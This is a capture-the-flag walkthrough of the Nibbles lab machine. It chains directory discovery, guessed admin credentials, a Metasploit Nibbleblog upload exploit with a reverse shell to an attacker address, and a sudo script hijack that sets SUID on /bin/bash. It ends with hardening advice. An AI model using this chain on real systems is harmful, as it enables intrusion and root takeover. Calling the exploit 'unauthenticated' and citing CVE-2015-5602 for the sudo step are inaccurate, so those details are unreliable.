Reconnaissance
Port Scanning
We begin the enumeration phase using rustscan to scan the target IP address 10.10.10.75 for open ports:
rustscan -a 10.10.10.75 -- -sCV -oN target
The scan reveals two open ports:
- Port 22 (SSH): Running OpenSSH 7.2p2.
- Port 80 (HTTP): Running Apache HTTP Server 2.4.18.
Web Enumeration & Banner Grabbing
We grab the HTTP headers and inspect the home page source code using curl:
curl -iL http://10.10.10.75
Reviewing the HTML source code reveals a hidden HTML comment left by the developer:
<b>Hello world!</b>
<!-- /nibbleblog/ directory. Nothing to see here. -->
This points us directly to the /nibbleblog/ directory.
Directory Listing Auditing & Scanning (Nikto)
To audit the newly discovered directory for common misconfigurations and check for server vulnerabilities, we launch Nikto:
nikto -h http://10.10.10.75/nibbleblog/
Nikto’s output highlights several security alerts and confirms that directory indexing (Directory Listing) is active:
+ OSVDB-3268: /nibbleblog/admin/: Directory indexing found.
+ OSVDB-3092: /nibbleblog/admin/config.xml: This might be interesting...
+ Nikto flagged Nibbleblog structure and configuration folders.
By visiting http://10.10.10.75/nibbleblog/admin/ directly in our browser, we verify the Directory Listing vulnerability. We can browse the directory structure and read XML configuration files, exposing system files.
Using feroxbuster to brute-force the path, we find the login panel page admin.php:
feroxbuster -u http://10.10.10.75/nibbleblog/ -x php
Initial Access
Exploiting Nibbleblog 4.0.3 Arbitrary File Upload
We navigate to http://10.10.10.75/nibbleblog/admin.php and attempt a basic brute-force or default credentials check. We successfully authenticate to the administrator dashboard using:
- Username:
admin - Password:
nibbles
Once authenticated, we observe that the blog is running Nibbleblog v4.0.3.
This version contains an arbitrary file upload vulnerability via the “My Image” (My_Image) plugin. An administrator can upload a PHP file instead of an image, which is then saved in /content/private/plugins/my_image/image.php without proper extension validation.
We launch Metasploit to exploit this:
msfconsole
We select the corresponding exploit module:
msf6 > use exploit/multi/http/nibbleblog_file_upload
We configure the parameters:
msf6 exploit(multi/http/nibbleblog_file_upload) > set RHOSTS 10.10.10.75
msf6 exploit(multi/http/nibbleblog_file_upload) > set TARGETURI /nibbleblog/
msf6 exploit(multi/http/nibbleblog_file_upload) > set USERNAME admin
msf6 exploit(multi/http/nibbleblog_file_upload) > set PASSWORD nibbles
msf6 exploit(multi/http/nibbleblog_file_upload) > set LHOST 10.10.14.2
We execute the exploit:
msf6 exploit(multi/http/nibbleblog_file_upload) > exploit
The upload completes successfully, establishing a reverse Meterpreter session under the context of the low-privileged user nibbler:
getuid
# Server username: nibbler
Privilege Escalation
Sudoers Auditing (CVE-2015-5602 / Sudo Abuse)
To escalate our privileges, we check the Sudo configuration for the nibbler user:
sudo -l
The output indicates that the user is permitted to execute a specific script as root without providing a password:
User nibbler may run the following commands on nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
However, if we list the directories, we find that the /home/nibbler/personal/ directory structure and the monitor.sh script do not exist. Since nibbler owns their home directory /home/nibbler/, we have write permissions to create these folders and the target script.
We create the directory structure:
mkdir -p /home/nibbler/personal/stuff
We write a payload into monitor.sh that sets the SUID bit on the /bin/bash binary:
echo '#!/bin/bash' > /home/nibbler/personal/stuff/monitor.sh
echo 'chmod u+s /bin/bash' >> /home/nibbler/personal/stuff/monitor.sh
We make the script executable:
chmod +x /home/nibbler/personal/stuff/monitor.sh
We run the script utilizing Sudo:
sudo /home/nibbler/personal/stuff/monitor.sh
The script runs in the security context of the root user, executing chmod u+s /bin/bash.
Finally, we spawn our privileged root shell:
/bin/bash -p
Checking our identifier confirms we have root access:
whoami
# root
Conclusion
Nibbles is an instructive target that details the exploitation of weak configuration chains. By exposing a hidden path in source code comments, disclosing sensitive folders via Directory Listing (detected by Nikto), and exploiting default admin credentials, we successfully performed an unauthenticated web exploit. Local privilege escalation highlights the danger of permitting wildcard or user-controlled scripts to run as root via sudoers. Hardening should include disabling directory indexing (e.g., Options -Indexes in Apache), securing admin portals with MFA, and keeping sudoers paths read-only for unprivileged accounts.